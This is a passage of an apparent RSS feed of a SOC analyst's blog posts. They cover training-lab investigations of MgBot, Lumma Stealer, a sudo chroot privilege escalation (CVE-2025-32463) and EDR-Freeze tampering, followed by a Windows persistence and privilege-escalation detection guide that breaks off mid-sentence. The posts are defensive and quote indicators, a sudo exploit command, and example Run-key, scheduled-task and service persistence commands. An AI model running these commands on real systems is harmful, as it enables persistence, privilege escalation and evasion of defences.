reveal.</strong></p><p>And sometimes, all of that starts with one suspicious DLL.</p><h3>Final IOC Summary</h3><p><strong>Malware Framework</strong></p><pre>MgBot</pre><p><strong>Threat Actor</strong></p><pre>Evasive Panda</pre><p><strong>pRsm.dll SHA1</strong></p><pre>9d1ecbbe8637fed0d89fca1af35ea821277ad2e8</pre><p><strong>pRsm.dll Capability</strong></p><pre>Audio Capture</pre><p><strong>MITRE ATT&amp;CK</strong></p><pre>T1123</pre><p><strong>Malicious Download</strong></p><pre>hxxp[://]update[.]browser[.]qq[.]com/qmbs/QQ/QQUrlMgr_QQ88_4296[.]exe</pre><p><strong>MgBot C2</strong></p><pre>122[.]10[.]90[.]12</pre><p><strong>SpyAgent Android Sample</strong></p><pre>951f41930489a8bfe963fced5d8dfd79</pre><h3>References</h3><ul><li><strong>ESET Research</strong> — <em>Evasive Panda APT group delivers malware via updates for popular Chinese software</em></li><li><strong>TryHackMe</strong> — <em>Friday Overtime</em></li><li><strong>MITRE ATT&amp;CK</strong> — T1123: Audio Capture</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c611243596d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Just a VPN Login — Investigating a Lumma Stealer Campaign]]></title>
            <link>https://medium.com/@it.baraa.mohamed/just-a-vpn-login-investigating-a-lumma-stealer-campaign-ff05e80d4e84?source=rss-f11525fd6cb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff05e80d4e84</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Baraa Mohamed]]></dc:creator>
            <pubDate>Wed, 30 Sep 2026 12:49:58 GMT</pubDate>
            <atom:updated>2026-10-03T14:07:43.639Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jNEgWjddZK_p1zocj-ChwA.png" /></figure><p>TryHackMe Room: <a href="https://tryhackme.com/room/justavpnlogin?utm_source=chatgpt.com">Just a VPN Login</a></p><p>A suspicious VPN login from another country does not always mean an attack.</p><p>Employees travel, use public networks, and connect through VPNs and proxy services. Because of that, an unusual login can easily look legitimate at first.</p><p>In this <strong>TryHackMe room, Just a VPN Login</strong>, I investigate a suspicious VPN authentication alert that gradually leads to a <strong>Lumma Stealer</strong> infection, malicious infrastructure, TLS certificate pivoting, YARA analysis, and MITRE ATT&amp;CK mapping.</p><p>The investigation follows a simple SOC workflow:</p><pre>VPN Alert<br>   ↓<br>IP Investigation<br>   ↓<br>File Hash<br>   ↓<br>Malware Identification<br>   ↓<br>Infrastructure Pivot<br>   ↓<br>TLS Certificate<br>   ↓<br>Threat Intelligence<br>   ↓<br>MITRE ATT&amp;CK</pre><h3>1. The Initial Alert</h3><p>The SOC receives:</p><pre>Unusual VPN login of susan.martin@probablyfine.thm<br>from 37.19.201.132 (Singapore)</pre><p>At first, the login appears reasonable. Susan is attending a security-vendor conference in Singapore.</p><p>However, when contacted by the SOC, Susan confirms that she <strong>did not log into the corporate VPN</strong>.</p><p>She was connected to public Wi-Fi at a café, where she was prompted to install a fake <strong>“security check”</strong> tool.</p><p>Host telemetry also reveals a suspicious SHA-256:</p><pre>b8e02f2bc0ffb42e8cf28e37a26d8d825f639079bf6d948f8debab6440ee5630</pre><p>This becomes the main investigation pivot.</p><h3>2. Investigating the VPN IP</h3><h3>Q1 — What is the ASN related to the IP?</h3><p>The IP:</p><pre>37.19.201.132</pre><p>is associated with:</p><pre>ASN: 212238<br>Owner: Datacamp Limited<br>Country: Singapore</pre><h3>Answer</h3><pre>212238</pre><h3>Q2 — Which service is offered from this IP?</h3><p>The IP has very little malicious reputation, so reputation alone does not explain the suspicious login.</p><p>Pivoting through <strong>File Relations</strong> reveals multiple VPN and proxy applications communicating with the address, including:</p><pre>com.supervpn.vpn.free.proxy.apk<br>vpn-proxy-2-0-2.apk<br>VPN Proxy Speed - Super VPN.apk<br>Proxy Master 1.4.0.apk</pre><p>This indicates that the address is being used as a <strong>VPN exit node</strong>.</p><h3>Answer</h3><pre>VPN</pre><p>This explains how the attacker could make the login appear to originate from Singapore, matching Susan’s expected location.</p><p><strong>A clean IP reputation does not automatically make an authentication event legitimate.</strong></p><h3>3. Identifying the Malware</h3><p>The suspicious SHA-256 is searched in TryDetectThis.</p><p>The file is identified as:</p><pre>Filename: zY9sqWs.exe<br>Type: PE32 executable<br>MD5: 2bb133c52b30e2b6b3608fdc5e7d7a22</pre><p>The sample has <strong>57 malicious detections</strong>, and a YARA match identifies the <strong>Lumma</strong> malware family.</p><h3>Q3 — What is the filename?</h3><h3>Answer</h3><pre>zY9sqWs.exe</pre><h3>Q4 — Which threat signature did Microsoft assign?</h3><p>Microsoft detects the sample as:</p><pre>Trojan:Win32/LummaStealer.PM!MTB</pre><p>Other vendors also identify the sample as Lumma-related malware.</p><h3>Answer</h3><pre>Trojan:Win32/LummaStealer.PM!MTB</pre><p>At this point, the suspicious VPN login is connected to a <strong>Lumma Stealer infection</strong>.</p><h3>4. Pivoting Through the Infrastructure</h3><p>The malware’s communication behavior reveals several suspicious domains:</p><pre>hardswarehub[.]today<br>gadgethgfub[.]icu<br>joyfulhezart[.]tech</pre><p>Two of them were also registered on <strong>2025–02–27</strong>, matching the sample’s creation timeline.</p><p>The most interesting pivot comes from the HTTPS certificate associated with:</p><pre>gadgethgfub[.]icu</pre><p>Its certificate contains a large <strong>Subject Alternative Name (SAN)</strong> list.</p><p>I extracted the SAN entries and verified them using:</p><pre>wc -l san.txt</pre><p>Result:</p><pre>151</pre><p>To verify uniqueness:</p><pre>sort -u san.txt | wc -l</pre><p>Result:</p><pre>151</pre><p>The domains are distributed across:</p><pre>.cyou → 50<br>.icu  → 45<br>.sbs  → 56</pre><h3>Q5 — How many domains are linked to the same campaign?</h3><h3>Answer</h3><pre>151</pre><p>A single suspicious domain therefore expands into a much larger infrastructure cluster.</p><p>This is where infrastructure pivoting becomes useful: instead of investigating one IOC in isolation, we can identify related infrastructure through shared technical characteristics.</p><h3>5. YARA Analysis</h3><p>The sample is also matched by a YARA rule named:</p><pre>Lumma</pre><p>The rule contains several patterns related to Lumma’s string-decoding routines.</p><p>Its condition is:</p><pre>uint16(0) == 0x5a4d and any of them</pre><p>The first condition checks for the Windows PE MZ header, while any of them requires at least one of the defined Lumma-related patterns to match.</p><h3>Q6 — Which line is present in the YARA condition?</h3><h3>Answer</h3><pre>uint16(0) == 0x5a4d and any of them</pre><p>This is useful because YARA can identify related samples based on characteristics rather than relying only on a specific hash.</p><h3>6. Threat Intelligence Pivot</h3><p>With the malware identified, I moved from technical indicators to external threat intelligence.</p><p>A Recorded Future / Insikt Group report references the investigated sample.</p><h3>Q7 — What is the report title?</h3><pre>Behind the Curtain: How Lumma Affiliates Operate</pre><h3>Answer</h3><pre>Behind the Curtain: How Lumma Affiliates Operate</pre><p>The report provides additional context around the Lumma affiliate ecosystem.</p><p>One of the services mentioned is <strong>GhostSocks</strong>, which provides residential proxy capabilities and can turn compromised systems into SOCKS5 proxies.</p><h3>Q8 — Which team did the malware author start collaborating with in early 2024?</h3><h3>Answer</h3><pre>GhostSocks</pre><p>The report also discusses activity associated with a Mexico-based affiliate using Lumma build ID:</p><pre>re0gvc</pre><p>The Windows-focused tools mentioned include:</p><pre>Meduza Stealer<br>Vidar</pre><p>An Android-related malware is also discussed with medium-confidence attribution.</p><h3>Q9 — Which infostealer used by the Mexican-based affiliate targets Android?</h3><h3>Answer</h3><pre>CraxsRAT</pre><p>The report describes <strong>CraxsRAT as an Android RAT</strong>, rather than a traditional infostealer, and explicitly notes the medium confidence of this activity.</p><h3>7. MITRE ATT&amp;CK Mapping</h3><p>The report also describes the use of <strong>AnonRDP</strong>, a service providing anonymous VPS and RDP infrastructure.</p><p>The relevant MITRE ATT&amp;CK mapping is:</p><pre>Tactic:<br>Resource Development</pre><pre>Technique:<br>T1583 — Acquire Infrastructure</pre><pre>Sub-technique:<br>T1583.003 — Virtual Private Server</pre><h3>Q10 — Which MITRE ATT&amp;CK sub-technique aligns with the use of AnonRDP?</h3><h3>Answer</h3><pre>T1583.003</pre><h3>8. Reconstructing the Attack</h3><p>The investigation now connects the individual indicators into one attack chain:</p><pre>Public Wi-Fi<br>     ↓<br>Fake &quot;Security Check&quot;<br>     ↓<br>Lumma Stealer<br>     ↓<br>Credential / Session Theft<br>     ↓<br>Corporate VPN Login<br>     ↓<br>VPN Exit Node<br>37.19.201.132<br>     ↓<br>Malicious Infrastructure<br>     ↓<br>TLS Certificate Pivot<br>     ↓<br>151 Related Domains</pre><p>The important detail is that the attacker did not simply steal credentials.</p><p>The stolen credentials were used through infrastructure that made the VPN login appear to originate from the same country where Susan was legitimately expected to be.</p><p>That makes the initial authentication alert much harder to judge using IP reputation alone.</p><h3>9. Indicators of Compromise</h3><p>IP</p><pre>37.19.201.132</pre><p>SHA-256</p><pre>b8e02f2bc0ffb42e8cf28e37a26d8d825f639079bf6d948f8debab6440ee5630</pre><p>MD5</p><pre>2bb133c52b30e2b6b3608fdc5e7d7a22</pre><p>Filename</p><pre>zY9sqWs.exe</pre><p>Domains</p><pre>gadgethgfub[.]icu<br>hardswarehub[.]today<br>joyfulhezart[.]tech</pre><p>Certificate Cluster</p><pre>151 domains</pre><h3>10. Key Takeaways</h3><h3>1. Reputation is not enough</h3><p>The VPN IP had almost no malicious reputation, yet the login was unauthorized.</p><p>User validation and contextual investigation were more important than the reputation score alone.</p><h3>2. Pivot from every useful IOC</h3><p>The investigation moved from:</p><pre>IP<br>→ Hash<br>→ Malware<br>→ Domains<br>→ TLS Certificate<br>→ 151 Domains<br>→ Threat Report<br>→ MITRE ATT&amp;CK</pre><p>Each pivot exposed another layer of the attack.</p><h3>3. Validate your findings</h3><p>The 151-domain certificate cluster was verified programmatically:</p><pre>wc -l san.txt<br>sort -u san.txt | wc -l</pre><p>Small validation steps can prevent incorrect conclusions when working with large IOC datasets.</p><h3>Conclusion</h3><p><strong>Just a VPN Login</strong> starts with a single suspicious authentication event and gradually expands into a much larger threat-intelligence investigation.</p><p>A VPN IP led to a suspicious executable.<br>The executable led to <strong>Lumma Stealer</strong>.<br>Lumma led to malicious domains.<br>A TLS certificate exposed <strong>151 related domains</strong>.<br>Threat intelligence then connected the activity to the broader Lumma affiliate ecosystem.</p><p>The main lesson I took from this room is simple:</p><blockquote><strong><em>An alert is only the starting point. The real investigation begins when you start asking what the indicator is connected to.</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff05e80d4e84" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating Local Privilege Escalation via chroot (CVE-2025–32463)]]></title>
            <link>https://medium.com/@it.baraa.mohamed/investigating-local-privilege-escalation-via-chroot-cve-2025-32463-f647371769bd?source=rss-f11525fd6cb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/f647371769bd</guid>
            <category><![CDATA[linux-security]]></category>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Baraa Mohamed]]></dc:creator>
            <pubDate>Mon, 28 Sep 2026 13:01:02 GMT</pubDate>
            <atom:updated>2026-09-28T13:01:02.851Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>LetsDefend SOC341 | Incident Response | Linux Privilege Escalation</em></blockquote><blockquote>A medium-difficulty incident where a suspicious sudo -R execution inside a Docker container triggered an alert for <strong>CVE-2025-32463</strong>, a privilege escalation vulnerability affecting sudo&#39;s chroot functionality.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b_zRYv32cuejJd2LqmJbrQ.png" /></figure><h3>Incident Overview</h3><p>Privilege escalation is one of the most valuable stages for an attacker after initial access. Instead of deploying malware, the attacker’s objective is to obtain <strong>root privileges</strong> and gain complete control over the system.</p><p>In this incident, the SOC detected an uncommon use of sudo -R, followed by a privileged Bash process running as <strong>root</strong>, indicating a likely exploitation attempt.</p><h3>Alert Details</h3><ul><li><strong>Event ID:</strong> 319</li><li><strong>Severity:</strong> High</li><li><strong>Hostname:</strong> ubuntu-dev</li><li><strong>IP Address:</strong> 172.16.20.56</li><li><strong>Alert Type:</strong> Privilege Escalation</li><li><strong>Process:</strong> /usr/bin/bash</li><li><strong>Parent Process:</strong> dash</li><li><strong>Process User:</strong> root</li><li><strong>Device Action:</strong> Allowed</li></ul><h3>Understanding the Attack</h3><p>The alert was generated after the endpoint observed the following command:</p><pre>sudo -R woot woot</pre><p>The -R option allows sudo to execute commands within an alternative <strong>root directory (chroot)</strong>. While this is a legitimate administrative feature, <strong>CVE-2025-32463</strong> allows an attacker to abuse this functionality and elevate privileges in certain Linux environments, including Docker containers.</p><p>The attack chain was straightforward:</p><ol><li>The attacker already had access to the Ubuntu system.</li><li>A shell (dash) executed a sudo -R command.</li><li>The vulnerable chroot behavior was abused.</li><li>A new <strong>bash</strong> process was spawned with <strong>root</strong> privileges.</li></ol><p>This is why the incident was classified as <strong>Privilege Escalation</strong> rather than Malware.</p><h3>Indicators of Compromise (IOCs)</h3><ul><li><strong>Hostname:</strong> ubuntu-dev</li><li><strong>IP Address:</strong> 172.16.20.56</li><li><strong>Parent Process:</strong> dash</li><li><strong>Process:</strong> /usr/bin/bash</li><li><strong>Suspicious Command:</strong> sudo -R woot woot</li></ul><p>These indicators can be used for threat hunting across other Linux systems to identify similar exploitation attempts.</p><h3>MITRE ATT&amp;CK Mapping</h3><p><strong>1. T1078 — Valid Accounts</strong></p><p>The attacker leveraged an existing account to gain initial access before attempting privilege escalation.</p><p><strong>2. T1059.004 — Unix Shell</strong></p><p>The malicious activity was executed through a Unix shell, where sudo was used to launch the exploit.</p><p><strong>3. T1609 — Container Administration Command</strong></p><p>The suspicious command was executed inside a Docker container, making container administration activity a key indicator during the investigation.</p><p><strong>4. T1548.003 — Sudo and Sudo Caching</strong></p><p>The attacker abused the sudo mechanism and its chroot functionality to elevate privileges and obtain a root shell.</p><h3>Detection Logic</h3><p>This detection relied on behavioral analysis rather than malware signatures. The rule correlated:</p><ul><li>Execution of sudo</li><li>Use of the uncommon -R argument</li><li>Activity occurring inside a Docker container</li><li>Creation of a privileged Bash process</li></ul><p>Together, these events strongly indicated an attempted exploitation of CVE-2025–32463.</p><h3>Incident Response Actions</h3><p>The recommended response includes:</p><ul><li>Isolating the affected host or container.</li><li>Terminating the malicious root shell.</li><li>Preserving process and container logs for forensic analysis.</li><li>Updating sudo to a patched version.</li><li>Hunting for additional sudo -R executions across the environment.</li></ul><h3>Key Takeaway</h3><p>CVE-2025–32463 demonstrates how legitimate Linux administration features can become privilege escalation vectors. Monitoring <strong>rare command-line arguments</strong>, <strong>parent-child process relationships</strong>, and <strong>container activity</strong> enables defenders to detect these attacks before an adversary establishes persistent root access.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f647371769bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating an EDR Tampering Attempt via EDR-Freeze (SOC344)]]></title>
            <link>https://medium.com/@it.baraa.mohamed/investigating-an-edr-tampering-attempt-via-edr-freeze-soc344-a79f9b17ae43?source=rss-f11525fd6cb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/a79f9b17ae43</guid>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[edr]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Baraa Mohamed]]></dc:creator>
            <pubDate>Sun, 27 Sep 2026 12:54:31 GMT</pubDate>
            <atom:updated>2026-09-27T12:54:31.557Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>A LetsDefend incident report analyzing an endpoint defense-evasion attempt involving EDR-Freeze after suspicious RDP and PowerShell activity.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uKxvvyaMUSa249m-kLAg4Q.png" /></figure><h3>Incident Overview</h3><p>This incident involved the execution of <strong>EDR-Freeze</strong>, a tool associated with attempts to interfere with Endpoint Detection and Response (EDR) protections.</p><p>According to the available alert telemetry and the L1 analyst’s findings, the activity followed a sequence of RDP brute-force attempts, a successful logon, PowerShell reconnaissance, and the subsequent execution of EDR-Freeze.</p><h3>Alert Summary</h3><ul><li><strong>Event ID:</strong> 322</li><li><strong>Hostname:</strong> WS-Prod-02</li><li><strong>IP Address:</strong> 172.16.20.69</li><li><strong>Alert Type:</strong> Malware</li><li><strong>Device Action:</strong> Allowed</li><li><strong>Process:</strong> EDR-Freeze_1.0.exe</li><li><strong>Parent Process:</strong> powershell.exe</li></ul><h3>Initial Findings</h3><p>The available telemetry indicates the following sequence:</p><ol><li>RDP brute-force activity was observed against the workstation.</li><li>A successful logon followed the brute-force attempts.</li><li>PowerShell was used for reconnaissance.</li><li>EDR-Freeze_1.0.exe was executed from the user&#39;s Downloads directory.</li></ol><p>The observed command line was:</p><pre>&quot;C:\Users\LetsDefend\Downloads\EDR-Freeze_1.0.exe&quot; 6080 10000</pre><p>The combination of <strong>PowerShell as the parent process</strong>, execution of a known EDR-tampering tool, and its location in the user’s Downloads directory made the activity highly suspicious.</p><p>However, the available telemetry confirms the <strong>execution attempt</strong>, not that the EDR was successfully disabled.</p><h3>Indicators of Compromise (IOCs)</h3><p><strong>SHA256</strong></p><pre>970c7834e58b6ef22473875167a333dbb33bf7b667d1cb814829f68579cd85f7</pre><p><strong>Hostname</strong></p><pre>WS-Prod-02</pre><p><strong>IP Address</strong></p><pre>172.16.20.69</pre><p><strong>Process</strong></p><pre>EDR-Freeze_1.0.exe</pre><p><strong>Process Path</strong></p><pre>C:\Users\LetsDefend\Downloads\</pre><p><strong>Parent Process</strong></p><pre>powershell.exe</pre><h3>MITRE ATT&amp;CK Mapping</h3><p>The exercise maps the incident to the following ATT&amp;CK techniques:</p><ul><li><strong>T1078 — Valid Accounts</strong></li><li><strong>T1059.001 — PowerShell</strong></li><li><strong>T1055 — Process Injection</strong></li><li><strong>T1562 — Impair Defenses</strong></li><li><strong>T1562.001 — Disable or Modify System Tools</strong></li><li><strong>T1489 — Service Stop</strong></li></ul><p>The available telemetry provides direct evidence for <strong>PowerShell execution</strong> and an attempted <strong>defense-evasion activity</strong> through EDR-Freeze.</p><p>The remaining mapped techniques would require additional endpoint telemetry to independently validate their execution during this incident.</p><h3>Detection Logic</h3><p>The alert was triggered by the execution of a known <strong>EDR tampering tool</strong> following suspicious PowerShell activity.</p><p>The detection context included:</p><ul><li>Suspicious PowerShell activity</li><li>Execution of EDR-Freeze_1.0.exe</li><li>A PowerShell parent-child process relationship</li><li>A known defense-evasion tool</li><li>A SHA256 hash reported as malicious by the L1 analyst’s VirusTotal check</li></ul><p>This combination provides stronger context than detecting the executable name alone.</p><h3>Response and Containment</h3><p>Based on the available evidence, the recommended response would include:</p><ol><li><strong>Isolate </strong><strong>WS-Prod-02</strong> from the network to prevent further attacker activity.</li><li><strong>Terminate the EDR-Freeze process</strong> if it is still running.</li><li><strong>Preserve and quarantine the executable</strong> for forensic analysis.</li><li><strong>Investigate the account used for the RDP session</strong> and reset its credentials if compromise is confirmed.</li><li><strong>Review RDP and PowerShell telemetry</strong> for additional attacker activity or lateral movement.</li><li><strong>Verify the health of the EDR agent</strong> and confirm that endpoint protection remains active.</li></ol><h3>Key Takeaways</h3><p>This incident demonstrates a common post-compromise defense-evasion pattern:</p><p><strong>RDP Access → PowerShell Reconnaissance → EDR Tampering Attempt</strong></p><p>The most important detection signal was not simply the presence of EDR-Freeze_1.0.exe, but its relationship with the surrounding activity, particularly the <strong>PowerShell parent process</strong> and preceding RDP activity.</p><p>From an incident-response perspective, EDR tampering should be treated as a high-priority event because successful impairment of endpoint visibility can allow subsequent malicious activity to proceed with reduced detection capability.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a79f9b17ae43" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Persistence & Privilege Escalation Detection Engineering with MITRE ATT&CK]]></title>
            <link>https://medium.com/@it.baraa.mohamed/persistence-privilege-escalation-detection-engineering-with-mitre-att-ck-79d96b692578?source=rss-f11525fd6cb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/79d96b692578</guid>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Baraa Mohamed]]></dc:creator>
            <pubDate>Sat, 26 Sep 2026 18:56:22 GMT</pubDate>
            <atom:updated>2026-09-26T18:56:22.556Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*IzRzsbG_ivLivflOiQ_Ytg.jpeg" /></figure><h3>Introduction</h3><p>After gaining access to a Windows endpoint, attackers often need to achieve two things:</p><ul><li><strong>Persistence:</strong> Maintain access after reboot, logoff, or system interruption.</li><li><strong>Privilege Escalation:</strong> Move from a lower-privileged context to a higher-privileged account such as Administrator or SYSTEM.</li></ul><p>This report covers three common <strong>Persistence</strong> techniques and three <strong>Privilege Escalation</strong> techniques from the <strong>MITRE ATT&amp;CK</strong> framework, along with practical detection approaches using <strong>SIEM, EDR, Sysmon, and Windows Event Logs</strong>.</p><h3>Persistence</h3><h3>1. Registry Run Keys / Startup Folder — T1547.001</h3><h3>Description</h3><p>Attackers can configure Windows Registry Run Keys or Startup folders to automatically execute a program when a user logs in.</p><p>Common Registry locations include:</p><pre>HKCU\Software\Microsoft\Windows\CurrentVersion\Run<br>HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce<br>HKLM\Software\Microsoft\Windows\CurrentVersion\Run<br>HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce</pre><p>MITRE ATT&amp;CK identifies this behavior as <strong>T1547.001 — Registry Run Keys / Startup Folder</strong>.</p><h3>Example</h3><pre>reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run ^<br>/v Update /t REG_SZ /d &quot;C:\Users\Public\update.exe&quot;</pre><p>The important point for detection is not simply that a Run Key was modified, but <strong>what was added to it and what happens afterward</strong>.</p><h3>Detection</h3><p>A strong detection can correlate:</p><pre>Registry modification<br>        ↓<br>Known Run/RunOnce key<br>        ↓<br>Unusual executable or script path<br>        ↓<br>Process execution<br>        ↓<br>Alert</pre><h3>Relevant Telemetry</h3><p><strong>Sysmon Event ID 13</strong> can provide Registry Value Set activity, while <strong>Event ID 14</strong> can provide Registry key/value rename activity.</p><p><strong>Sysmon Event ID 1</strong> can then be used to identify execution of the referenced payload.</p><p>MITRE’s current detection strategy recommends correlating Registry modification with subsequent process execution, particularly when the executable comes from a non-standard directory.</p><h3>Example SIEM Query</h3><pre>index=sysmon EventCode=13<br>TargetObject=&quot;*\\CurrentVersion\\Run*&quot;</pre><p>A production detection should additionally correlate the modified value with process creation and suspicious file locations.</p><h3>2. Scheduled Task — T1053.005</h3><h3>Description</h3><p>Windows Task Scheduler can be abused to execute malicious programs at logon, startup, or a specific time.</p><p>Attackers can use Scheduled Tasks for persistence, execution, and in some cases privilege escalation by running a process under a higher-privileged account such as SYSTEM. MITRE maps this behavior to <strong>T1053.005 — Scheduled Task</strong>.</p><h3>Example</h3><pre>schtasks /create /tn WindowsUpdate ^<br>/tr C:\Temp\payload.exe /sc onlogon</pre><h3>Detection</h3><p>The SOC should monitor newly created tasks and investigate:</p><ul><li>Unusual task names</li><li>Executables located in Temp, Public, or user-writable directories</li><li>Scripts such as PowerShell or JavaScript</li><li>Tasks running under SYSTEM</li><li>Suspicious parent-child relationships</li><li>Tasks created by unusual users or processes</li></ul><p>A useful detection chain is:</p><pre>New Scheduled Task<br>        ↓<br>Unusual task name or executable<br>        ↓<br>Payload located in suspicious directory<br>        ↓<br>Process execution<br>        ↓<br>Alert</pre><h3>Relevant Telemetry</h3><p><strong>Windows Security Event ID 4698</strong> can indicate that a scheduled task was created.</p><p><strong>Sysmon Event ID 1</strong> can provide the process creation associated with the task.</p><p>EDR solutions can also monitor Task Scheduler activity and suspicious task creation.</p><h3>Example SIEM Query</h3><pre>index=wineventlog EventCode=4698</pre><p>A stronger rule should correlate the task creation event with the task’s executable path and subsequent execution.</p><h3>3. Windows Service — T1543.003</h3><h3>Description</h3><p>Attackers can create or modify Windows Services to execute malicious payloads automatically.</p><p>Services are particularly interesting because they can execute under <strong>SYSTEM</strong>, making the technique useful for both persistence and privilege escalation. MITRE maps this behavior to <strong>T1543.003 — Windows Service</strong>.</p><h3>Example</h3><pre>sc create WinUpdate binPath= &quot;C:\Temp\svc.exe&quot;</pre><h3>Detection</h3><p>Monitor for:</p><ul><li>New service creation</li><li>Existing service modification</li><li>sc.exe execution</li><li>Registry changes under the Services key</li><li>Services pointing to unusual binaries</li><li>Unsigned or unknown service binaries</li><li>Services running under SYSTEM</li></ul><p>The detection logic can be:</p><pre>Service creation/modification<br>        ↓<br>Suspicious service name or binary path<br>        ↓<br>Binary runs as SYSTEM<br>        ↓<br>Process execution<br>        ↓<br>Alert</pre><h3>Relevant Telemetry</h3><p><strong>Windows Security Event ID 4697</strong> can identify service installation.</p><p><strong>Sysmon Event ID 1</strong> can detect execution of tools such as sc.exe.</p><p>Registry telemetry can also identify changes under:</p><pre>HKLM\System\CurrentControlSet\Services</pre><p>MITRE’s current detection strategy recommends correlating service creation or modification with Registry changes, process lineage, startup behavior, and anomalous service binaries.</p><h3>Example SIEM Query</h3><pre>index=wineventlog EventCode=4697</pre><p>Another useful detection is:</p><pre>index=sysmon<br>Image=&quot;*\\sc.exe&quot;<br>CommandLine=&quot;*create*&quot;</pre><h3>Privilege Escalation</h3><h3>1. Bypass User Account Control — T1548.002</h3><h3>Description</h3><p>Windows User Account Control (UAC) is designed to control privilege elevation.</p><p>Attackers can abuse trusted Windows components and configuration mechanisms to execute code with elevated privileges while bypassing the expected UAC interaction.</p><p>MITRE identifies this as <strong>T1548.002 — Bypass User Account Control</strong>.</p><h3>Detection</h3><p>Detection should focus on the <strong>behavior chain</strong>, rather than alerting on a single executable.</p><p>Look for:</p><ul><li>Suspicious Registry modifications</li><li>Execution of auto-elevated Windows components</li><li>Abnormal parent-child process relationships</li><li>Elevated processes launched from unexpected parents</li><li>Registry modification immediately followed by elevated execution</li></ul><p>A useful detection model is:</p><pre>Suspicious Registry modification<br>        +<br>Auto-elevated component execution<br>        +<br>Abnormal process relationship<br>        ↓<br>Potential UAC Bypass</pre><h3>Relevant Telemetry</h3><p>Useful telemetry includes:</p><ul><li>Windows Security Event ID 4688 — Process Creation</li><li>Windows Security Event ID 4672 — Special Privileges Assigned</li><li>Sysmon Event ID 13/14 — Registry Modification</li><li>Sysmon Event ID 1 — Process Creation</li></ul><h3>SIEM Detection Concept</h3><p>Instead of creating an alert for a single process, correlate:</p><pre>Registry modification<br>        ↓<br>Known UAC-related location<br>        ↓<br>Auto-elevated process<br>        ↓<br>Unexpected child process<br>        ↓<br>Alert</pre><p>This reduces false positives compared with detecting the executable alone.</p><h3>2. Exploitation for Privilege Escalation — T1068</h3><h3>Description</h3><p>Attackers may exploit vulnerabilities in applications, operating-system components, or kernel-level components to obtain higher privileges.</p><p>Successful exploitation can allow an attacker to move from a normal user context to <strong>Administrator or SYSTEM</strong>.</p><p>MITRE identifies this behavior as <strong>T1068 — Exploitation for Privilege Escalation</strong>.</p><p>One example is <strong>Bring Your Own Vulnerable Driver (BYOVD)</strong>, where an attacker brings a vulnerable signed driver onto the system and abuses it to obtain higher privileges.</p><h3>Detection</h3><p>There is usually no single event that says:</p><pre>&quot;Privilege escalation successful&quot;</pre><p>Therefore, detection should rely on correlation.</p><p>Look for:</p><ul><li>Suspicious or vulnerable driver loading</li><li>Exploit-related process behavior</li><li>Unexpected SYSTEM processes</li><li>Suspicious access to privileged processes</li><li>Exploitation followed by privileged execution</li></ul><p>A useful detection chain is:</p><pre>Vulnerable component or driver<br>        ↓<br>Suspicious exploitation behavior<br>        ↓<br>New privileged process<br>        ↓<br>SYSTEM / elevated context<br>        ↓<br>Alert</pre><h3>Relevant Telemetry</h3><p><strong>Sysmon Event ID 6</strong> can provide driver-load telemetry.</p><p><strong>Sysmon Event ID 1</strong> can identify process creation.</p><p><strong>Windows Security Event ID 4672</strong> can indicate special privileges assigned to a new logon session.</p><p>EDR solutions can provide additional behavioral telemetry around exploitation and suspicious driver activity.</p><h3>Detection Approach</h3><p>The SOC can correlate:</p><pre>Driver Load<br>      +<br>Known vulnerable driver<br>      +<br>Suspicious process behavior<br>      +<br>Privileged process creation</pre><p>This is much stronger than simply alerting whenever a SYSTEM process appears, since legitimate Windows services commonly run under SYSTEM.</p><h3>3. Token Impersonation/Theft — T1134.001</h3><h3>Description</h3><p>Windows uses access tokens to determine the security context of a process.</p><p>Attackers can duplicate and impersonate another user’s token to operate under a different security context and potentially elevate privileges.</p><p>MITRE identifies this as <strong>T1134.001 — Token Impersonation/Theft</strong>.</p><h3>Detection</h3><p>Token theft is difficult to detect using a single Windows event.</p><p>A better approach is behavioral correlation:</p><pre>Suspicious process<br>        ↓<br>Privileged process access<br>        ↓<br>Token duplication / impersonation<br>        ↓<br>Process assumes another security context<br>        ↓<br>Privileged action<br>        ↓<br>Alert</pre><h3>Relevant Telemetry</h3><p>Detection can use:</p><ul><li>EDR behavioral telemetry</li><li>Process creation events</li><li>Process access 